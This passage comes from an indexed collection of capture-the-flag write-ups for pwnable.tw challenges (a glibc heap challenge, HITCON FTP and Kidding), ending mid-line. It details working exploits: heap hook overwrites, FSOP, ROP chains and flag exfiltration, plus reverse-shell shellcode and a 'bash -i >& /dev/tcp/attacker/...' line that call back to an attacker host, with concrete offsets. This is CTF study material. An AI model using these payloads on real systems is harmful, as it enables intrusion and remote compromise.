`main_arena` data → passes fastbin size check).\n\n9. Allocate at `__malloc_hook - 0x13`, write `0x13` bytes padding + `p64(one_gadget)` to overwrite `__malloc_hook`.\n\n10. Trigger `malloc()` (send menu choice \"1\" + any size) → `__malloc_hook` fires → `execve(\"/bin/sh\")` → shell.\n\n```python\nalloc(0x68, p64(__malloc_hook - 0x23)) # poison fastbin fd\nalloc(0x68, b'\\0') # consume\nalloc(0x68, b'\\0') # consume\nalloc(0x68, b'\\0'*0x13 + p64(one_gadget)) # overwrite __malloc_hook\n# trigger:\nsendline(\"1\"); sendline(\"8\") # malloc() → one_gadget → shell\n```\n\n**Reliability:** The Phase 2 partial overwrite requires guessing 1 nibble of ASLR (bits 12-15 of libc base). Success rate is **1/16 per connection** (~6.25%). Solutions wrap the exploit in a retry loop.\n\n---\n\n### Path B — FSOP via `_IO_2_1_stderr_` vtable hijack (Leakless)\n\n**Used by:** Solution 2311\n\nInstead of leaking libc and then doing a second fastbin attack, this approach performs **two** partial-overwrite fastbin attacks (both 1/16 probability each, so overall ~1/256):\n\n1. First fastbin attack targets `_IO_2_1_stderr_`, overwrites its `_flags` to `\";sh\\0\"` and partially overwrites `_IO_write_base` to point to `system`.\n\n2. Second fastbin attack targets the middle of `stderr`, partially overwrites the **vtable pointer** to point to the crafted `system` address.\n\n3. Trigger `_IO_flush_all_lockp` (via a deliberate double-free abort). The flushing code calls `stderr->vtable->__overflow(stderr)` which resolves to `system(stderr)`, and since `stderr->_flags` starts with `\";sh\\0\"`, the shell command executes.\n\n**Reliability:** ~1/256 per connection (two independent 1/16 guesses). Much slower than Path A but requires no leak at all.\n\n---\n\n### Path C — stdout vtable overwrite via `__free_hook`\n\n**Used by:** Solutions 331, 378, 564, 821\n\nA variant where after leaking libc via the stdout FSOP (same as Path A Phase 2), the exploit:\n\n1. Uses a fastbin dup to allocate near `_IO_2_1_stdout_`'s vtable region.\n2. Overwrites the vtable pointer or `__overflow` entry to point to `system`.\n3. Triggers output (e.g., via menu prompt) which calls through the corrupted vtable → `system(\"/bin/sh\")` or `system(stdout)` where `_flags` contains `\";sh\"`.\n\nAlternative finish: Some solutions target `__free_hook` instead of `__malloc_hook`:\n\n```python\n# unsorted bin attack to write main_arena near __free_hook → create fake fastbin chunk\nalloc(0x78, p64(0)*11 + p64(0x71) + p64(__free_hook - 0x33))\nalloc(0x68, b\"/bin/sh\\x00\") # this chunk's content = \"/bin/sh\"\nalloc(0x68, padding + p64(system)) # overwrite __free_hook\nfree(idx_of_binsh_chunk) # free(\"/bin/sh\") → system(\"/bin/sh\")\n```\n\n---\n\n### Path D — Double-Free Abort Triggers `__malloc_hook`\n\n**Used by:** Solutions 17704, 31599, 34817\n\nAfter overwriting `__malloc_hook` with one_gadget, instead of sending a normal malloc menu choice, trigger a **deliberate double-free**. The glibc abort handler internally calls `malloc()` (for error message formatting), which fires `__malloc_hook` → one_gadget → shell.\n\n```python\n# After __malloc_hook = one_gadget:\nfree(0); free(0) # double-free → abort → malloc() internally → __malloc_hook → shell\n```\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Double-free (fastbin dup) | V1: UAF / no pointer clear | Deterministic |\n| Heap overlap / chunk forge | Fastbin dup + partial fd write | Deterministic |\n| Fake unsorted bin chunk | Overlap → write size ≥ 0x80 → free | Deterministic |\n| libc pointer on heap | Unsorted bin free writes main_arena | Deterministic |\n| stdout FSOP leak | Partial overwrite fd → stdout-0x43 | 1/16 (nibble guess) |\n| `__malloc_hook` overwrite | Fastbin dup → malloc_hook-0x23 (0x7f) | Deterministic after leak |\n| Code execution | one_gadget via `__malloc_hook` or `system` via `__free_hook` | Deterministic after overwrite |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n_IO_2_1_stdout_ = 0x3c4620\n_IO_2_1_stdin_ = 0x3c38e0\n_IO_2_1_stderr_ = 0x3c4540\n__malloc_hook = 0x3c3b10 # main_arena = __malloc_hook + 0x10\n__free_hook = 0x3c57a8\nsystem = 0x45390\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `81.md` | A | Fastbin dup → unsorted → stdout FSOP → `__malloc_hook` | Clean minimal exploit |\n| `138.md` | A | Ruby exploit; same three-phase approach | Uses `_IO_2_1_stderr_+157` as fake chunk |\n| `216.md` | A | Fastbin dup → stdout FSOP → `__malloc_hook` | Standard pattern |\n| `331.md` | C | stdout FSOP → vtable overwrite → `system` | Hijacks stdout vtable instead of hooks |\n| `378.md` | C | stdout vtable + FSOP → `system` via vtable | Uses `\";sh\"` in `_flags` |\n| `564.md` | A+C | stdout FSOP → vtable overwrite + one_gadget | Two-stage vtable/hook approach |\n| `821.md` | A+C | stdout FSOP → `__free_hook` via unsorted bin attack | Uses unsorted bin attack for `__free_hook` |\n| `1177.md` | A | Fastbin dup → stdout FSOP → `__malloc_hook` | Local process exploit |\n| `2311.md` | B | **Leakless**: dual partial overwrite → stderr vtable → `_IO_flush_all_lockp` | ~1/256 brute; no libc leak needed |\n| `2796.md` | A | Standard three-phase | Concise implementation |\n| `5378.md` | A | stdout FSOP → `__malloc_hook` | `FLAG{W3lc0m3_2_h3ap_p4radis3}` confirmed |\n| `7905.md` | A | Detailed Chinese writeup; full phase breakdown | Best pedagogical write-up |\n| `8153.md` | A | Chinese writeup; clean overlap analysis | Notes signed index bug |\n| `9448.md` | A | Standard approach with retry loop | Clear heap layout diagrams |\n| `13204.md` | A | Minimal exploit with retry decorator | Uses `0x3c3aed` for `__malloc_hook` fake chunk |\n| `17704.md` | A+D | stdout FSOP → `__malloc_hook` → double-free abort trigger | Abort path for trigger |\n| `22310.md` | A | Standard three-phase with bruteforce | Uses `0x45dd` partial overwrite |\n| `26250.md` | A | Standard three-phase | Detailed heap layout comments |\n| `31599.md` | A+D | stdout FSOP → `__malloc_hook` → double-free abort | Heap diagram in comments |\n| `34817.md` | A | \"fake unsortedbin, angelboy's leak, hijack malloc hooks\" | Clean final exploit |\n| `40311.md` | A | Standard three-phase; clean Python3 | Retry loop, concise |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (self-contained, no pwntools dependency) |\n| `desc.txt` | Challenge description |\n| `solution/*.md` | Community write-ups (71 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12720,"content_sha256":"9fd82c3bf9e73d619e92056162846a5069f6aa590a70a51d1634ce337cc1824d"},{"filename":"pwnable-tw/hitcon_ftp.md","content":"---\ntags:\n - heap-buffer-overflow\n - seccomp-bypass\n - rop\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.27\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Heap corruption in msgpack packet deserialization allows hijacking execution under seccomp, constructing an open-read-write ROP chain.\"\nproof-of-concept: no\n---\n\n# HITCON FTP — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> Nobody find all vulnerabilities in HITCON CTF final 2019. :'(\n>\n> `nc chall.pwnable.tw 10309`\n>\n> Flag: `FLAG{c4ptur3_th3_f0rtun3_by_h1tc0n_ftp}`\n\n## Challenge Overview\n\nA custom TFTP-like server (x86-64, Full RELRO, Canary, NX, PIE) running over UDP, using msgpack for packet serialization. The server allocates a UDP port per connection, parses msgpack arrays as commands (RRQ=1, WRQ=2, DATA=3, ACK=4, ERR=5, OACK=6), and supports file read/write with CRC32 verification and block size negotiation. A seccomp sandbox restricts syscalls to file I/O, networking (socket/sendto/recvfrom/bind), memory management (mmap/mprotect/brk), and select. The main loop runs under a `SIGALRM` timer (~60s); when it fires, `select()` fails and `main()` returns.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n Seccomp: Allowlist (open, read, write, close, stat, fstat, lseek,\n ioctl, openat, brk, mmap, mprotect, select, socket,\n sendto, recvfrom, bind, rt_sigreturn, exit, exit_group)\n```\n\n## Vulnerabilities\n\n### V1 — Heap Address Leak via Non-Terminated Filename (Info Leak)\n\n**Root Cause:** The request struct stores `filename` in a 0x100-byte buffer. When the server receives a filename containing `\"../\"`, it rejects the access and formats an error message using `snprintf` with the full filename. If the filename is exactly 0x100 bytes, `strncpy` does not NUL-terminate it, and the adjacent `FILE *fp` pointer in the struct is concatenated into the error response.\n\n```c\n// Simplified: filename is 0x100 bytes, FILE* follows immediately\nstruct Request {\n // ...\n char filename[0x100]; // +0x010\n FILE *fp; // +0x110\n // ...\n};\nstrncpy(req->filename, via.str.ptr, via.str.size); // no NUL if size == 0x100\n// error path:\nsnprintf(buf, ..., \"file (%s) access violation\", req->filename);\n// leaks fp pointer bytes after the filename\n```\n\n**Trigger:** Send a first WRQ to initialize `fp`, then send a RRQ with `\"../\".ljust(0x100, \"A\")` as filename. The error response includes the `FILE*` heap pointer appended after the 'A' padding.\n\n**Impact:** Leaks a heap address. Heap base = `leaked_ptr - 0x22ad0`.\n\n### V2 — Type Confusion in OACK Options Processing (Arbitrary Read)\n\n**Root Cause:** When processing RRQ/WRQ packets, the server checks if `array[3]` is a `MSGPACK_OBJECT_MAP` — but **only when `array.size == 4`**. If the array has 5+ elements, the check is skipped entirely, and `array[3]` of any type is interpreted as a map of `msgpack_object_kv` entries.\n\n```c\n// Simplified condition — note the short-circuit with ==4\nif (via.array.size == 4 && via.array.ptr[3].type != MSGPACK_OBJECT_MAP)\n return error;\n// When array.size >= 5, array[3] passes unchecked\n```\n\nBy sending a string or raw bytes as `array[3]`, the attacker controls the in-memory layout interpreted as `msgpack_object_kv` structs. A fake entry with `key.type = MSGPACK_OBJECT_STR`, `key.ptr = target_address`, and `val.type = MSGPACK_OBJECT_POSITIVE_INTEGER` causes the server to read memory at `target_address` and include it as an OACK option key in the response.\n\n**Trigger:**\n```python\nfake_kv = p64(5) + p64(0x3f) + p64(target_addr) + p64(2) + p64(0x1337)\nsend([1, \"flag\", \"octet\", fake_kv, \"pad\"]) # array size=5, bypasses check\n# Response: OACK with key = memory_at_target_addr (up to 63 bytes)\n```\n\n**Impact:** Arbitrary read of up to 63 bytes at any address. Used to leak libc (via `_IO_file_jumps` or GOT), stack (via `environ`), PIE base, and canary.\n\n### V3 — Stack Buffer Overflow in `check_crc32` / `msgpack_object_print_buffer` (Code Execution)\n\n**Root Cause:** The CRC32 verification function calls `msgpack_object_print_buffer(error_buf, payload_len, obj)` where `error_buf` is a 0x204-byte stack buffer but `payload_len` is controlled via the negotiated `blksize` option (up to 0xFFFF). When `blksize` is set large, `snprintf` writes the string representation of the msgpack data object far past the buffer boundary, overwriting the canary, saved RBP, and return address of `main()`.\n\n```c\n// check_crc32 — simplified\nchar error_buf[0x204]; // stack buffer\n// obj_len comes from the DATA packet's payload length (controlled via blksize)\nmsgpack_object_print_buffer(error_buf, obj_len, data_obj);\n// snprintf inside print_buffer writes string repr of data_obj to error_buf\n// If obj_len > 0x204, this overflows the stack\n```\n\n**Complication:** Since `snprintf` is used internally, NUL bytes cannot be written directly. Solvers work around this by writing the payload in reverse order — each write uses `snprintf`'s automatic NUL terminator to place zeros at decreasing offsets.\n\n**Impact:** Full stack buffer overflow. Combined with leaked canary, enables ROP chain or stack pivot.\n\n## Exploit Paths\n\nAll 20 solutions use the same three-bug chain (V1 → V2 → V3). They differ in the leak chain specifics and the final payload strategy.\n\n---\n\n### Path A — Stack Pivot to Heap → mprotect + Shellcode (Most Common)\n\n**Used by:** Solutions 370, 821, 2972, 5586, 8153, 31599, 34306, 35463, 36997\n\n1. **V1:** Leak heap via overlong `\"../\"` filename.\n2. **V2:** Leak libc (`_IO_file_jumps` or `_IO_2_1_stderr_` from FILE struct on heap), stack (`environ`), canary (stack+offset+1, skip leading NUL), and optionally PIE base.\n3. **V3:** Set `blksize` to 0xFFFF. Repeatedly overflow `check_crc32`'s stack buffer to write backwards:\n - Restore canary (write bytes 1-7, then NUL-terminate byte 0)\n - Overwrite saved RBP with pointer to `datain` buffer (heap) or a controlled region\n - Overwrite return address with `leave; ret` gadget (stack pivot)\n4. **Send ROP chain to `datain` buffer:** `pop rdi; heap_page; pop rsi; 0x1000; pop rdx; 7; mprotect; shellcode_addr`\n5. **Shellcode:** `open(\"/home/hitcon_ftp/flag\") → read(fd, buf, 0x100) → sendto(0, buf, len, 0, saved_sockaddr, 16)` — sends flag back over UDP to the attacker's address (extracted from the request struct on heap).\n6. **Wait ~60s** for SIGALRM → `select()` fails → `main()` returns into ROP.\n\n### Path B — Direct ROP Chain on Stack (No Shellcode)\n\n**Used by:** Solutions 3578, 6748, 28605, 28652, 34817, 36134\n\nSame leak chain, but instead of pivoting:\n1. Write the full ROP chain directly onto `main()`'s stack frame via repeated `check_crc32` overflows.\n2. ROP: `open(flag_path) → read(fd, buffer, N) → sendto(0, buffer, N, 0, sockaddr, 16)` using libc gadgets and syscall.\n3. Some variants call the binary's own `send_err()` / `process_send()` function (at PIE+0x2855 or similar) to send the flag through the existing TFTP protocol.\n\n### Path C — `close(3) + open(flag)` → Reuse Existing FILE (Clever Variant)\n\n**Used by:** Solution 6748\n\n1. ROP chain does: `close(3)` (the server's open file descriptor), then `open(\"/home/hitcon_ftp/flag\")` which reuses fd 3.\n2. Then calls the binary's own `process_send(request)` function, which reads from the FILE associated with fd 3 — now pointing to the flag file — and sends the data back through normal TFTP protocol.\n\n### Path D — CRC32 Brute-Force for Initial Leak (No V1 Needed)\n\n**Used by:** Solutions 9251, 11177, 33090, 34817\n\nInstead of using V1 for the heap leak:\n1. Exploit the `strlen()` in `check_crc32` — the CRC is computed on the buffer up to the first NUL byte. By padding to known stack offsets and brute-forcing one byte at a time (256 attempts per byte), the attacker can determine stack values by checking whether `CRC32(padding + guess_byte) == expected`.\n2. Brute-force 4-5 bytes of a stack pointer (only ~5×256 = 1280 packets). This gives a code/PIE base address.\n3. Then use V2 for remaining leaks (libc, canary, heap) and V3 for the overflow.\n\n**Downside:** Slower (~1280 round-trips vs. 1 for V1), requires low-latency connection. Some solvers ran from Japan VPS to avoid timeout.\n\n### Path E — Canary Leak via TLS/ld.so (Alternative to Stack Canary Leak)\n\n**Used by:** Solution 3498\n\nInstead of leaking the canary from the stack:\n1. Use V2 to read `_rtld_global` from libc → get `ld.so` base → read TLS block → extract canary from `tcbhead_t.stack_guard` (at TLS+0xba8 or similar offset).\n2. This avoids needing to know the exact stack layout for canary position.\n\n### Path F — Auxv Walk for PIE + Canary (exp.py approach)\n\n**Used by:** exp.py (the reference exploit in this directory)\n\n1. **V1:** Leak heap via msgpack ExtType trick (send many map keys to cause realloc, then parse leaked key from reused memory).\n2. **V2:** Read `FILE*` from request struct → `_IO_file_jumps` → libc base. Read `environ` → stack. Walk `envp[]` until NUL → find `auxv[]`. Parse `AT_PHDR` → PIE base. Parse `AT_RANDOM` → read 16-byte random blob → extract canary (first 8 bytes, mask low byte to 0).\n3. **V3:** Build ROP chain image, split at NUL bytes into stages. Each stage is sent as a WRQ+DATA pair; `snprintf`'s NUL terminator handles the zero bytes. ROP: `open(flag) → read(3, buf, 0x80) → send_data(request, buf, 0x80) → exit(0)`.\n\n## Leak Primitives Summary\n\n| What | How | Source |\n|------|-----|--------|\n| Heap base | V1: `\"../\"` filename overflow leaks `FILE*` | All solutions except Path D |\n| Heap base (alt) | V3: CRC32 brute-force of stack pointers → V2 read | Path D solutions |\n| libc base | V2: Read `_IO_file_jumps` / `_IO_2_1_stderr_` / GOT entry from heap or binary | Universal |\n| Stack address | V2: Read `libc.environ` | Universal |\n| PIE base | V2: Read return address from stack, or V3: CRC32 brute | Most solutions |\n| Stack canary | V2: Read `stack_addr - offset + 1` (skip NUL byte 0) | Most solutions |\n| Canary (alt) | V2: Read TLS `stack_guard` via `_rtld_global` chain | Solution 3498 |\n| Canary (alt) | V2: Read `AT_RANDOM` from auxv, first 8 bytes | exp.py |\n\n## Execution Trigger\n\nThe SIGALRM handler does **not** call `exit()`. Instead, the signal interrupts `select()`, which returns `-1` (EINTR), causing the main loop to break and `main()` to return — into the attacker's ROP chain. All solutions must wait ~60 seconds for this to happen.\n\n## Key Offsets (remote libc, glibc 2.27)\n\n```python\n# libc gadgets\npop_rdi = 0x2155f\npop_rsi = 0x23e6a\npop_rdx = 0x1b96\npop_rax = 0x439c8\npop_rsp = 0x3960\npop_rdx_r10 = 0x1306b4\nsyscall_ret = 0xd2975\nleave_ret = 0x54803\n\n# libc symbols / offsets\n_IO_file_jumps = 0x3e82a0\n_IO_2_1_stderr = 0x3ec680\nenviron = 0x3ee098\nmprotect = 0x11bae0\n\n# Binary internals\nrequest_delta = 0x13b10 # from heap base to first request struct\nsend_data = 0x257e # PIE offset: function to send data via TFTP\nsend_err = 0x2855 # PIE offset: function to send error via TFTP\nflag_path_bss = 0x20d160 # PIE offset: \"/home/hitcon_ftp/flag\" if stored via OACK\n```\n\n## Seccomp Policy\n\nAllowlist: `rt_sigreturn`, `exit_group`, `exit`, `open`, `read`, `write`, `close`, `stat`, `fstat`, `lseek`, `ioctl`, `openat`, `brk`, `mmap`, `mprotect`, `select`, `socket`, `sendto`, `recvfrom`, `bind`. All others → KILL.\n\nThis blocks `execve`, so all exploits must use open/read + sendto to exfiltrate the flag.\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `370.md` | A | Heap leak → mprotect + shellcode (sendto via saved sockaddr) | Clean, uses pwntools shellcraft |\n| `821.md` | A | mprotect + handcrafted shellcode | Detailed DATA_HDR constants, finds datain buffer |\n| `2972.md` | A | mprotect + jmp rsp shellcode | Uses `jmp rsp` gadget after mprotect |\n| `3498.md` | A + E | Canary via TLS (_rtld_global chain) | Alternative canary leak path |\n| `3578.md` | B | Direct ROP: open/read/sendto | Uses binary's `send_err` to return flag |\n| `5586.md` | A | mprotect + shellcode | Finds sockaddr from heap request struct |\n| `6748.md` | B + C | `close(3) + open(flag)` → reuse fd 3 via `process_send` | Elegant fd-hijack variant |\n| `8153.md` | A | leave;ret pivot → mprotect + sendto shellcode | Clean null-byte handling |\n| `9251.md` | D | CRC32 brute-force for libc_pthread → heap scan | Brutes 4 bytes of libpthread address |\n| `11177.md` | D | CRC32 brute-force for stack pointer | Brutes 5 stack bytes, then arb read for rest |\n| `25916.md` | B | Direct ROP: open/read/sendto via syscall | Uses raw syscall gadgets |\n| `28605.md` | A | Heap leak → mprotect + asm sendto | Detailed vuln explanation |\n| `28652.md` | B | ROP: open → xchg_eax_edi → read → `send_err` | Calls binary's own send function |\n| `31599.md` | A | leave;ret pivot → open/read → `send_data` | Uses PIE `send_data` to return flag |\n| `33090.md` | D | CRC32 brute-force for PIE base | Brutes 5 bytes across multiple stack offsets |\n| `34306.md` | A | mprotect + typed shellcode | Patches `process_new` comparison in memory |\n| `34817.md` | D + B | CRC32 brute PIE → arb read → direct ROP | Calls `send_err` at end |\n| `35463.md` | A | mprotect + typed shellcode with sendto | 3 bugs: bof, type confusion, argument mismatch |\n| `36134.md` | B | Direct ROP: open/read → `send_err` | Cleanest ROP, reuses binary's error-send path |\n| `36997.md` | A | mprotect + shellcode, create UDP socket in SC | Shellcode creates new socket to send flag |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Reference exploit (auxv walk + multi-stage NUL-byte-safe overflow) |\n| `desc.txt` | Challenge description |\n| `artifacts/hitcon_ftp` | Challenge binary |\n| `solution/*.md` | Community write-ups (20 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14047,"content_sha256":"95755ae41305db6156af8320df8815ef70488b19e507c57c31090e07a8ed150d"},{"filename":"pwnable-tw/kidding.md","content":"---\ntags:\n - stack-buffer-overflow\n - rop\n - seccomp-bypass\n - reverse-shell\nplatform: pwnable.tw\npoints: 300\narch: i386\nlibc: static\nrelro: partial\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A stack buffer overflow in a static binary with closed standard streams is exploited by constructing a ROP chain to create a reverse socket connection.\"\nproof-of-concept: no\n---\n\n# Kidding — pwnable.tw (300 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10303`\n>\n> Flag: `FLAG{Ar3_y0u_k1dd1ng_m3}`\n\n## Challenge Overview\n\nA statically linked i386 binary with a trivial stack buffer overflow — but with a cruel twist: `main()` calls `close(0); close(1); close(2)` **before returning**, destroying all standard I/O file descriptors. After hijacking the return address, there is no stdin/stdout/stderr and no second read — everything must fit in the initial `read(0, buf, 0x64)` of 100 bytes.\n\nThe flag is not directly `cat`-able: `/home/flag/I_am_fl4g` is owned by user `flag`, and a setuid helper `/home/flag/get_flag` must be invoked interactively (`echo ./I_am_fl4g | ./get_flag`).\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n Type: Statically linked\n```\n\n## Vulnerability\n\n### V1 — Stack Buffer Overflow (12-byte overflow to saved EIP)\n\n**Root Cause:** `main()` reads up to `0x64` (100) bytes into an 8-byte stack buffer at `ebp-8`, providing a 12-byte distance to the saved return address and ~88 bytes of ROP/shellcode space after it.\n\n```asm\n; main (simplified)\nsub esp, 0x10 ; allocate 16 bytes (buf at ebp-8)\npush 0x64 ; count = 100\nlea eax, [ebp-0x8] ; buf\npush eax\npush 0x0 ; fd = stdin\ncall read ; read(0, ebp-8, 0x64)\n\n; ... close(0); close(1); close(2); ...\nleave\nret ; hijacked return address\n```\n\n**Layout:**\n\n```text\n[ebp-8] buf (8 bytes)\n[ebp] saved EBP (4 bytes) ← 12 bytes padding total\n[ebp+4] saved EIP ← overflow target\n[ebp+8] ... ~88 bytes of ROP + shellcode space\n```\n\n**Constraint:** After `main` closes all three file descriptors, the program has **no I/O**. The exploit must establish a new communication channel (reverse TCP shell) entirely from this single 100-byte payload.\n\n## Key Symbols (No PIE, statically linked)\n\n| Symbol | Address | Purpose |\n|--------|---------|---------|\n| `__stack_prot` | `0x080e9fec` | Runtime stack protection flags (set to 7 = RWX) |\n| `__libc_stack_end` | `0x080e9fc8` | Pointer to stack end (passed to `_dl_make_stack_executable`) |\n| `_dl_make_stack_executable` | `0x0809a080` | Calls `mprotect` to make the stack executable |\n| `_dl_make_stack_executable_hook` | `0x080ea9f4` | Function pointer, can be incremented to invoke the above |\n| `mprotect` | `0x0806dd40` | Direct `mprotect` syscall wrapper |\n| `jmp esp` | `0x080bd13b` | Gadget to jump to shellcode placed after the ROP chain |\n| `push esp; ret` | `0x080b8546` | Alternative to `jmp esp` |\n\n## Exploit Paths\n\nAll solutions share the same overall structure: **make the stack executable → `jmp esp` → reverse-shell shellcode**. They diverge in how they make the stack executable and how they handle the closed-fd I/O problem.\n\n---\n\n### Path A — `_dl_make_stack_executable` + `jmp esp` + Reverse Shell (Most Common)\n\n**Used by:** ~80% of solutions (8, 59, 81, 186, 278, 370, 550, 821, 1074, 1351, 1986, 3498, 6247, 7905, 10128, 21778, 29544, 35463, exp.py)\n\n**ROP Chain (36 bytes):**\n\n```python\n# Set __stack_prot = 7 (PROT_READ | PROT_WRITE | PROT_EXEC)\nrop = p32(POP_EDX) + p32(__stack_prot)\nrop += p32(POP_EAX) + p32(7)\nrop += p32(MOV_PTR_EDX_EAX) # [__stack_prot] = 7\n# Call _dl_make_stack_executable(&__libc_stack_end)\nrop += p32(POP_EAX) + p32(__libc_stack_end)\nrop += p32(_dl_make_stack_executable)\nrop += p32(JMP_ESP) # jump into shellcode below\n```\n\n**Stage-1 Shellcode (~52 bytes, on the now-executable stack):**\n\nSince fd 0/1/2 are closed, `socket()` returns fd 0 (the lowest available). The shellcode:\n1. `socket(AF_INET, SOCK_STREAM, 0)` → returns fd 0\n2. `connect(0, {attacker_ip, attacker_port}, 16)` → establishes reverse TCP connection\n3. Either:\n - `read(0, esp, large_size)` → reads stage-2 shellcode from the socket, then `jmp esp` / `call ecx` into it\n - `execve(\"/bin/sh\", NULL, NULL)` directly (shell gets stdin from socket on fd 0, but no stdout)\n\n```asm\n; Typical stage-1: socket + connect + read stage-2\npush 0x66 ; sys_socketcall\npop eax\npush 0x1 ; SYS_SOCKET\npop ebx\nxor edx, edx\npush edx ; protocol = 0\npush ebx ; SOCK_STREAM = 1\npush 0x2 ; AF_INET = 2\nmov ecx, esp\nint 0x80 ; socket() → fd 0\n\nmov al, 0x66 ; sys_socketcall\npush ATTACKER_IP ; sin_addr (network order)\npush PORT_AND_AF ; sin_port (BE) + AF_INET\nmov ecx, esp\npush 0x10 ; addrlen = 16\npush ecx ; sockaddr *\npush edx ; sockfd = 0\nmov ecx, esp\ninc ebx ; ebx = 3 = SYS_CONNECT\nint 0x80 ; connect()\n\nmov al, 0x3 ; sys_read\nxor ebx, ebx ; fd = 0\nmov ecx, esp ; buf = stack\nmov dl, 0x40 ; count\nint 0x80 ; read stage-2\njmp ecx ; execute stage-2\n```\n\n**Stage-2 Shellcode (sent over the socket):**\n\n```asm\n; dup2(0, 1); dup2(0, 2); execve(\"/bin/sh\", NULL, NULL)\npush 0x3f; pop eax; xor ebx, ebx; push 1; pop ecx; int 0x80 ; dup2(0, 1)\npush 0x3f; pop eax; xor ebx, ebx; push 2; pop ecx; int 0x80 ; dup2(0, 2)\nxor eax, eax; push eax\npush 0x68732f2f; push 0x6e69622f ; \"//sh\", \"/bin\"\nmov ebx, esp; xor ecx, ecx; cdq\nmov al, 0xb; int 0x80 ; execve(\"/bin/sh\")\n```\n\n**Variants within Path A:**\n\n- **Single-stage execve (no dup2):** Some solutions skip the stage-2 read and call `execve(\"/bin/sh\")` directly after `connect`. The shell has stdin from the socket (fd 0) but no stdout. They then use `bash -c \"bash -i >& /dev/tcp/attacker/port2 0>&1\"` from inside the first shell to spawn a second reverse shell with full I/O.\n- **Two separate listeners:** One port for the initial connect-back, another port for a `bash` reverse shell spawned from inside the first.\n- **`push ebp` for \"/bin\":** Some solutions store `/bin` in `ebp` at overflow time (overwriting saved EBP) and use `push ebp` in shellcode to build the `/bin/sh` string, saving bytes.\n- **Bore/ngrok tunnel:** For NAT-ed attackers, some use `bore.pub` or `ngrok` to expose a local port to the internet.\n\n---\n\n### Path B — `mprotect` Directly + Reverse Shell\n\n**Used by:** Solutions 14, 81, 363, 664, 1074 (variant)\n\nInstead of `_dl_make_stack_executable`, these solutions call `mprotect` directly on a BSS or stack page. This uses more ROP bytes but avoids the `__stack_prot` / `__libc_stack_end` setup.\n\n```python\n# mprotect(addr, 0x1000, 7)\nrop = p32(mprotect_addr)\nrop += p32(POP3_RET) # pop ebx; pop esi; pop edi; ret\nrop += p32(page_addr) # addr (BSS or stack page)\nrop += p32(0x1000) # len\nrop += p32(7) # prot = RWX\n# ... pivot or jmp to shellcode\n```\n\nSome solutions `mprotect` a BSS page, copy shellcode there via `strcpy`/`memcpy`/`rep movsd`, then jump to it. This avoids needing to know the exact stack address but costs more ROP gadgets, making the payload tighter.\n\n---\n\n### Path C — Pure ROP (No Shellcode)\n\n**Used by:** Solutions 14 (stage-2), 1074 (server-side)\n\nInstead of making the stack executable, some solutions perform the entire `socket → connect → read` sequence via ROP gadgets only (no shellcode execution needed for stage-1). The stage-2 payload sent over the socket then uses a ROP chain to call `dup2` and `execve`.\n\nThis approach is much more constrained in the 100-byte budget — solution 14 uses extremely compressed ROP with computed register values and `stosd` gadgets to build the sockaddr struct at runtime.\n\n---\n\n### Path D — `_dl_make_stack_executable_hook` Increment\n\n**Used by:** Solutions 13204, 21778\n\nInstead of writing 7 to `__stack_prot` and calling `_dl_make_stack_executable` directly, these solutions:\n1. Set `ebp` to `__libc_stack_end - 0x18` (so `_dl_make_stack_executable` reads the right value)\n2. Increment `_dl_make_stack_executable_hook` to point to the actual function\n3. Call through the hook\n\nThis saves a few bytes by using `inc dword ptr [ecx]; ret` instead of the `pop edx; pop eax; mov [edx], eax; ret` sequence.\n\n```python\nrop += p32(POP_ECX) + p32(_dl_make_stack_executable_hook)\nrop += p32(INC_DWORD_ECX) # increment the hook pointer\nrop += p32(0x080937f0) # call through the hook\nrop += p32(JMP_ESP)\n```\n\n---\n\n### Path E — `sys_socket`/`sys_connect` via Direct `int 0x80` Syscalls in ROP\n\n**Used by:** Solution 35463\n\nUses the newer Linux syscall numbers (`sys_socket` = 0x167, `sys_connect` = 0x16a) instead of the multiplexed `sys_socketcall` (0x66). This avoids the nested argument pointer setup needed by `socketcall` and can be slightly more compact.\n\n## Exploit Primitive Summary\n\n| Primitive | Technique | Bytes |\n|-----------|-----------|-------|\n| Stack executable | `_dl_make_stack_executable` | ~36 bytes ROP |\n| Stack executable | Direct `mprotect` call | ~24-32 bytes ROP |\n| Stack executable | Hook increment trick | ~28 bytes ROP |\n| Reverse TCP (stage-1) | `socketcall(socket)` + `socketcall(connect)` + `read` | ~48-52 bytes shellcode |\n| Reverse TCP (stage-1) | `sys_socket` + `sys_connect` + `read` (direct syscalls) | ~40-48 bytes shellcode |\n| Full shell (stage-2) | `dup2(0,1)` + `dup2(0,2)` + `execve(\"/bin/sh\")` | ~30-40 bytes shellcode |\n| Full shell (no stage-2) | `execve(\"/bin/sh\")` + bash reverse shell from inside | Single stage but needs 2 listeners |\n\n## Offsets (Static Binary, No PIE)\n\n```python\n# ROP gadgets\nPOP_EAX = 0x080b8536 # pop eax; ret\nPOP_EDX = 0x0806ec8b # pop edx; ret\nPOP_ECX = 0x080583c9 # pop ecx; ret\nMOV_PTR_EDX = 0x0805462b # mov dword ptr [edx], eax; ret\nJMP_ESP = 0x080bd13b # jmp 